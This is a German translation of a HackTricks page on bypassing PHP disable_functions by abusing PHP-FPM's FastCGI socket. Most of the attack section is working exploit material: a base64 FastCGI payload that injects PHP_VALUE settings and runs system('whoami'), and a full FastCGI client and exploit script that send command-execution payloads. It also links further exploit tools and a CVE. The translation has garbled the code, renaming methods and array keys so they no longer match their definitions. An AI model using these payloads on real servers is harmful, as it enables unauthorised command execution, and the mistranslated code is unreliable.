disable_functions bypass - php-fpm/FastCGI

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Andere Möglichkeiten, HackTricks zu unterstützen:

PHP-FPM

PHP-FPM wird als überlegene Alternative zum Standard-PHP FastCGI präsentiert und bietet Funktionen, die insbesondere für Websites mit hohem Traffic vorteilhaft sind. Es arbeitet über einen Master-Prozess, der eine Sammlung von Worker-Prozessen überwacht. Bei einer PHP-Skriptanfrage ist es der Webserver, der eine FastCGI-Proxyverbindung zum PHP-FPM-Dienst initiiert. Dieser Dienst hat die Fähigkeit, Anfragen entweder über Netzwerkports auf dem Server oder Unix-Sockets zu empfangen.

Trotz der Vermittlerrolle der Proxyverbindung muss PHP-FPM auf derselben Maschine wie der Webserver betriebsbereit sein. Die Verbindung, die es verwendet, unterscheidet sich von herkömmlichen Proxyverbindungen, obwohl sie auf einem Proxy basiert. Nach Erhalt einer Anfrage verarbeitet ein verfügbarer Worker von PHP-FPM diese und führt das PHP-Skript aus, um die Ergebnisse dann an den Webserver zurückzuleiten. Nachdem ein Worker die Verarbeitung einer Anfrage abgeschlossen hat, steht er wieder für bevorstehende Anfragen zur Verfügung.

Aber was ist CGI und FastCGI?

CGI

Normalerweise werden Webseiten, Dateien und alle Dokumente, die vom Webserver an den Browser übertragen werden, in einem bestimmten öffentlichen Verzeichnis wie z.B. home/user/public_html gespeichert. Wenn der Browser bestimmte Inhalte anfordert, überprüft der Server dieses Verzeichnis und sendet die erforderliche Datei an den Browser.

Wenn CGI auf dem Server installiert ist, wird auch das spezifische cgi-bin-Verzeichnis hinzugefügt, z.B. home/user/public_html/cgi-bin. CGI-Skripte werden in diesem Verzeichnis gespeichert. Jede Datei im Verzeichnis wird als ausführbares Programm behandelt. Beim Zugriff auf ein Skript aus dem Verzeichnis sendet der Server die Anfrage an die Anwendung, die für dieses Skript verantwortlich ist, anstatt den Dateiinhalt an den Browser zu senden. Nach Abschluss der Verarbeitung der Eingabedaten sendet die Anwendung die Ausgabedaten an den Webserver, der die Daten an den HTTP-Client weiterleitet.

Wenn beispielsweise das CGI-Skript http://meineseitenname.com/cgi-bin/datei.pl aufgerufen wird, führt der Server die entsprechende Perl-Anwendung über CGI aus. Die aus der Skriptausführung generierten Daten werden von der Anwendung an den Webserver gesendet. Der Server wiederum überträgt die Daten an den Browser. Wenn der Server kein CGI hätte, würde der Browser den .pl-Dateicode selbst anzeigen. (Erklärung von hier)

FastCGI

FastCGI ist eine neuere Webtechnologie, eine verbesserte CGI-Version, da die Hauptfunktionalität gleich bleibt.

Die Notwendigkeit, FastCGI zu entwickeln, ergab sich aus der raschen Entwicklung und Komplexität von Webanwendungen sowie aus den Skalierbarkeitsmängeln der CGI-Technologie. Um diese Anforderungen zu erfüllen, führte Open Market FastCGI ein - eine leistungsstarke Version der CGI-Technologie mit erweiterten Fähigkeiten.

disable_functions bypass

Es ist möglich, PHP-Code auszuführen, indem man den FastCGI missbraucht und die disable_functions-Einschränkungen umgeht.

Über Gopherus

Ich bin mir nicht sicher, ob dies in modernen Versionen funktioniert, da ich es einmal versucht habe und es nichts ausgeführt hat. Bitte kontaktieren Sie mich, wenn Sie weitere Informationen dazu haben, über [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live).

Mit Gopherus können Sie ein Payload generieren, um es an den FastCGI-Listener zu senden und beliebige Befehle auszuführen:

<?php
$fp = fsockopen("unix:///var/run/php/php7.0-fpm.sock", -1, $errno, $errstr, 30); fwrite($fp,base64_decode("AQEAAQAIAAAAAQAAAAAAAAEEAAEBBAQADxBTRVJWRVJfU09GVFdBUkVnbyAvIGZjZ2ljbGllbnQgCwlSRU1PVEVfQUREUjEyNy4wLjAuMQ8IU0VSVkVSX1BST1RPQ09MSFRUUC8xLjEOAkNPTlRFTlRfTEVOR1RINzYOBFJFUVVFU1RfTUVUSE9EUE9TVAlLUEhQX1ZBTFVFYWxsb3dfdXJsX2luY2x1ZGUgPSBPbgpkaXNhYmxlX2Z1bmN0aW9ucyA9IAphdXRvX3ByZXBlbmRfZmlsZSA9IHBocDovL2lucHV0DxdTQ1JJUFRfRklMRU5BTUUvdmFyL3d3dy9odG1sL2luZGV4LnBocA0BRE9DVU1FTlRfUk9PVC8AAAAAAQQAAQAAAAABBQABAEwEADw/cGhwIHN5c3RlbSgnd2hvYW1pID4gL3RtcC93aG9hbWkudHh0Jyk7ZGllKCctLS0tLU1hZGUtYnktU3B5RDNyLS0tLS0KJyk7Pz4AAAAA"));

PHP-Exploit

Ich bin mir nicht sicher, ob dies in modernen Versionen funktioniert, weil ich es einmal versucht habe und nichts ausführen konnte. Tatsächlich konnte ich sehen, dass phpinfo() bei der FastCGI-Ausführung angezeigt hat, dass disable_functions leer war, aber PHP hat mich irgendwie immer noch daran gehindert, eine zuvor deaktivierte Funktion auszuführen. Bitte kontaktieren Sie mich, wenn Sie weitere Informationen dazu haben, über die [PEASS & HackTricks Telegram-Gruppe hier](https://t.me/peass), oder Twitter [@carlospolopm](https://twitter.com/hacktricks_live)**.

Code von hier.

<?php
/**
* Note : Code is released under the GNU LGPL
*
* Please do not change the header of this file
*
* This library is free software; you can redistribute it and/or modify it under the terms of the GNU
* Lesser General Public License as published by the Free Software Foundation; either version 2 of
* the License, or (at your option) any later version.
*
* This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
* without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
*
* See the GNU Lesser General Public License for more details.
*/
/**
* Handles communication with a FastCGI application
*
* @author      Pierrick Charron <pierrick@webstart.fr>
* @version     1.0
*/
class FCGIClient
{
const VERSION_1            = 1;
const BEGIN_REQUEST        = 1;
const ABORT_REQUEST        = 2;
const END_REQUEST          = 3;
const PARAMS               = 4;
const STDIN                = 5;
const STDOUT               = 6;
const STDERR               = 7;
const DATA                 = 8;
const GET_VALUES           = 9;
const GET_VALUES_RESULT    = 10;
const UNKNOWN_TYPE         = 11;
const MAXTYPE              = self::UNKNOWN_TYPE;
const RESPONDER            = 1;
const AUTHORIZER           = 2;
const FILTER               = 3;
const REQUEST_COMPLETE     = 0;
const CANT_MPX_CONN        = 1;
const OVERLOADED           = 2;
const UNKNOWN_ROLE         = 3;
const MAX_CONNS            = 'MAX_CONNS';
const MAX_REQS             = 'MAX_REQS';
const MPXS_CONNS           = 'MPXS_CONNS';
const HEADER_LEN           = 8;
/**
* Socket
* @var Resource
*/
private $_sock = null;
/**
* Host
* @var String
*/
private $_host = null;
/**
* Port
* @var Integer
*/
private $_port = null;
/**
* Keep Alive
* @var Boolean
*/
private $_keepAlive = false;
/**
* Constructor
*
* @param String $host Host of the FastCGI application
* @param Integer $port Port of the FastCGI application
*/
public function __construct($host, $port = 9000) // and default value for port, just for unixdomain socket
{
$this->_host = $host;
$this->_port = $port;
}
/**
* Define whether or not the FastCGI application should keep the connection
* alive at the end of a request
*
* @param Boolean $b true if the connection should stay alive, false otherwise
*/
public function setKeepAlive($b)
{
$this->_keepAlive = (boolean)$b;
if (!$this->_keepAlive && $this->_sock) {
fclose($this->_sock);
}
}
/**
* Get the keep alive status
*
* @return Boolean true if the connection should stay alive, false otherwise
*/
public function getKeepAlive()
{
return $this->_keepAlive;
}
/**
* Create a connection to the FastCGI application
*/
private function connect()
{
if (!$this->_sock) {
//$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
$this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
if (!$this->_sock) {
throw new Exception('Unable to connect to FastCGI application');
}
}
}
/**
* Build a FastCGI packet
*
* @param Integer $type Type of the packet
* @param String $content Content of the packet
* @param Integer $requestId RequestId
*/
private function buildPacket($type, $content, $requestId = 1)
{
$clen = strlen($content);
return chr(self::VERSION_1)         /* version */
. chr($type)                    /* type */
. chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
. chr($requestId & 0xFF)        /* requestIdB0 */
. chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
. chr($clen & 0xFF)             /* contentLengthB0 */
. chr(0)                        /* paddingLength */
. chr(0)                        /* reserved */
. $content;                     /* content */
}
/**
* Build an FastCGI Name value pair
*
* @param String $name Name
* @param String $value Value
* @return String FastCGI Name value pair
*/
private function buildNvpair($name, $value)
{
$nlen = strlen($name);
$vlen = strlen($value);
if ($nlen < 128) {
/* nameLengthB0 */
$nvpair = chr($nlen);
} else {
/* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
$nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
}
if ($vlen < 128) {
/* valueLengthB0 */
$nvpair .= chr($vlen);
} else {
/* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
$nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
}
/* nameData & valueData */
return $nvpair . $name . $value;
}
/**
* Read a set of FastCGI Name value pairs
*
* @param String $data Data containing the set of FastCGI NVPair
* @return array of NVPair
*/
private function readNvpair($data, $length = null)
{
$array = array();
if ($length === null) {
$length = strlen($data);
}
$p = 0;
while ($p != $length) {
$nlen = ord($data{$p++});
if ($nlen >= 128) {
$nlen = ($nlen & 0x7F << 24);
$nlen |= (ord($data{$p++}) << 16);
$nlen |= (ord($data{$p++}) << 8);
$nlen |= (ord($data{$p++}));
}
$vlen = ord($data{$p++});
if ($vlen >= 128) {
$vlen = ($nlen & 0x7F << 24);
$vlen |= (ord($data{$p++}) << 16);
$vlen |= (ord($data{$p++}) << 8);
$vlen |= (ord($data{$p++}));
}
$array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
$p += ($nlen + $vlen);
}
return $array;
}
/**
* Decode a FastCGI Packet
*
* @param String $data String containing all the packet
* @return array
*/
private function decodePacketHeader($data)
{
$ret = array();
$ret['version']       = ord($data{0});
$ret['type']          = ord($data{1});
$ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
$ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
$ret['paddingLength'] = ord($data{6});
$ret['reserved']      = ord($data{7});
return $ret;
}
/**
* Read a FastCGI Packet
*
* @return array
*/
private function readPacket()
{
if ($packet = fread($this->_sock, self::HEADER_LEN)) {
$resp = $this->decodePacketHeader($packet);
$resp['content'] = '';
if ($resp['contentLength']) {
$len  = $resp['contentLength'];
while ($len && $buf=fread($this->_sock, $len)) {
$len -= strlen($buf);
$resp['content'] .= $buf;
}
}
if ($resp['paddingLength']) {
$buf=fread($this->_sock, $resp['paddingLength']);
}
return $resp;
} else {
return false;
}
}
/**
* Get Informations on the FastCGI application
*
* @param array $requestedInfo information to retrieve
* @return array
*/
public function getValues(array $requestedInfo)
{
$this->connect();
$request = '';
foreach ($requestedInfo as $info) {
$request .= $this->buildNvpair($info, '');
}
fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
$resp = $this->readPacket();
if ($resp['type'] == self::GET_VALUES_RESULT) {
return $this->readNvpair($resp['content'], $resp['length']);
} else {
throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
}
}
/**
* Execute a request to the FastCGI application
*
* @param array $params Array of parameters
* @param String $stdin Content
* @Rückgabe String
*/
public function anfrage(array $params, $stdin)
{
$response = '';
$this->verbinden();
$anfrage = $this->erstellenPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
$paramsAnfrage = '';
foreach ($params as $schlüssel => $wert) {
$paramsAnfrage .= $this->erstellenNvpaar($schlüssel, $wert);
}
if ($paramsAnfrage) {
$anfrage .= $this->erstellenPacket(self::PARAMS, $paramsAnfrage);
}
$anfrage .= $this->erstellenPacket(self::PARAMS, '');
if ($stdin) {
$anfrage .= $this->erstellenPacket(self::STDIN, $stdin);
}
$anfrage .= $this->erstellenPacket(self::STDIN, '');
fwrite($this->_sock, $anfrage);
do {
$antwort = $this->lesenPacket();
if ($antwort['typ'] == self::STDOUT || $antwort['typ'] == self::STDERR) {
$response .= $antwort['inhalt'];
}
} while ($antwort && $antwort['typ'] != self::END_REQUEST);
var_dump($antwort);
if (!is_array($antwort)) {
throw new Exception('Ungültige Anfrage');
}
switch (ord($antwort['inhalt']{4})) {
case self::CANT_MPX_CONN:
throw new Exception('Diese App kann nicht multiplexen [CANT_MPX_CONN]');
break;
case self::OVERLOADED:
throw new Exception('Neue Anfrage abgelehnt; zu beschäftigt [OVERLOADED]');
break;
case self::UNKNOWN_ROLE:
throw new Exception('Rollenwert unbekannt [UNKNOWN_ROLE]');
break;
case self::REQUEST_COMPLETE:
return $response;
}
}
}
?>
<?php
// echter Exploit beginnt hier
if (!isset($_REQUEST['cmd'])) {
die("Überprüfen Sie Ihre Eingabe\n");
}
if (!isset($_REQUEST['dateipfad'])) {
$dateipfad = __FILE__;
}else{
$dateipfad = $_REQUEST['dateipfad'];
}
$anfrage = '/'.basename($dateipfad);
$uri = $anfrage .'?'.'befehl='.$_REQUEST['cmd'];
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>"; // PHP-Payload -- Macht nichts
$php_wert = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = php://input";
//$php_wert = "disable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = http://127.0.0.1/e.php";
$params = array(
'GATEWAY_INTERFACE' => 'FastCGI/1.0',
'REQUEST_METHOD'    => 'POST',
'SCRIPT_FILENAME'   => $dateipfad,
'SCRIPT_NAME'       => $anfrage,
'QUERY_STRING'      => 'befehl='.$_REQUEST['cmd'],
'REQUEST_URI'       => $uri,
'DOCUMENT_URI'      => $anfrage,
#'DOCUMENT_ROOT'     => '/',
'PHP_VALUE'         => $php_wert,
'SERVER_SOFTWARE'   => '80sec/wofeiwo',
'REMOTE_ADDR'       => '127.0.0.1',
'REMOTE_PORT'       => '9985',
'SERVER_ADDR'       => '127.0.0.1',
'SERVER_PORT'       => '80',
'SERVER_NAME'       => 'localhost',
'SERVER_PROTOCOL'   => 'HTTP/1.1',
'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Anruf: $uri\n\n";
echo $client->anfrage($params, $code)."\n";
?>
Verwenden Sie die vorherige Funktion, um festzustellen, dass die Funktion **`system`** immer noch deaktiviert ist, aber **`phpinfo()`** zeigt **`disable_functions`** als **leer** an:

![](<../../../../.gitbook/assets/image (188).png>)

![](<../../../../.gitbook/assets/image (713).png>)

**Daher denke ich, dass Sie `disable_functions` nur über die PHP `.ini`-Konfigurationsdateien festlegen können und der PHP\_VALUE diese Einstellung nicht außer Kraft setzen wird.**

### [**FuckFastGCI**](https://github.com/w181496/FuckFastcgi)

Dies ist ein PHP-Skript, um das FastCGI-Protokoll auszunutzen, um `open_basedir` und `disable_functions` zu umgehen.\
Es wird Ihnen helfen, strenge `disable_functions` zu umgehen, um RCE durch das Laden der bösartigen Erweiterung auszuführen.\
Sie können es hier abrufen: [https://github.com/w181496/FuckFastcgi](https://github.com/w181496/FuckFastcgi) oder eine leicht modifizierte und verbesserte Version hier: [https://github.com/BorelEnzo/FuckFastcgi](https://github.com/BorelEnzo/FuckFastcgi)

Sie werden feststellen, dass der Exploit dem vorherigen Code sehr ähnlich ist, aber anstatt zu versuchen, `disable_functions` mit PHP\_VALUE zu umgehen, versucht er, **ein externes PHP-Modul zu laden**, um Code unter Verwendung der Parameter `extension_dir` und `extension` innerhalb der Variablen `PHP_ADMIN_VALUE` auszuführen.\
**HINWEIS1**: Sie müssen wahrscheinlich die Erweiterung mit der **gleichen PHP-Version neu kompilieren**, die der Server verwendet (Sie können dies im Ausgabebereich von phpinfo überprüfen):

![](<../../../../.gitbook/assets/image (180).png>)

<div data-gb-custom-block data-tag="hint" data-style='danger'>

**HINWEIS2**: Mir ist es gelungen, dies zu erreichen, indem ich die Werte `extension_dir` und `extension` in eine PHP `.ini`-Konfigurationsdatei eingefügt habe (etwas, das Sie nicht können, wenn Sie einen Server angreifen). Aber aus irgendeinem Grund, als ich diesen Exploit verwendete und die Erweiterung aus der Variablen `PHP_ADMIN_VALUE` lud, ist der Prozess einfach abgestürzt, daher weiß ich nicht, ob diese Technik noch gültig ist.

</div>

### PHP-FPM Remote Code Execution Vulnerability (CVE-2019–11043)

Sie können diese Schwachstelle mit [**phuip-fpizdam**](https://github.com/neex/phuip-fpizdam) ausnutzen und sie in dieser Docker-Umgebung testen: [https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043](https://github.com/vulhub/vulhub/tree/master/php/CVE-2019-11043).\
Sie finden auch eine Analyse der Schwachstelle [**hier**](https://medium.com/@knownsec404team/php-fpm-remote-code-execution-vulnerability-cve-2019-11043-analysis-35fd605dd2dc)**.**

Last updated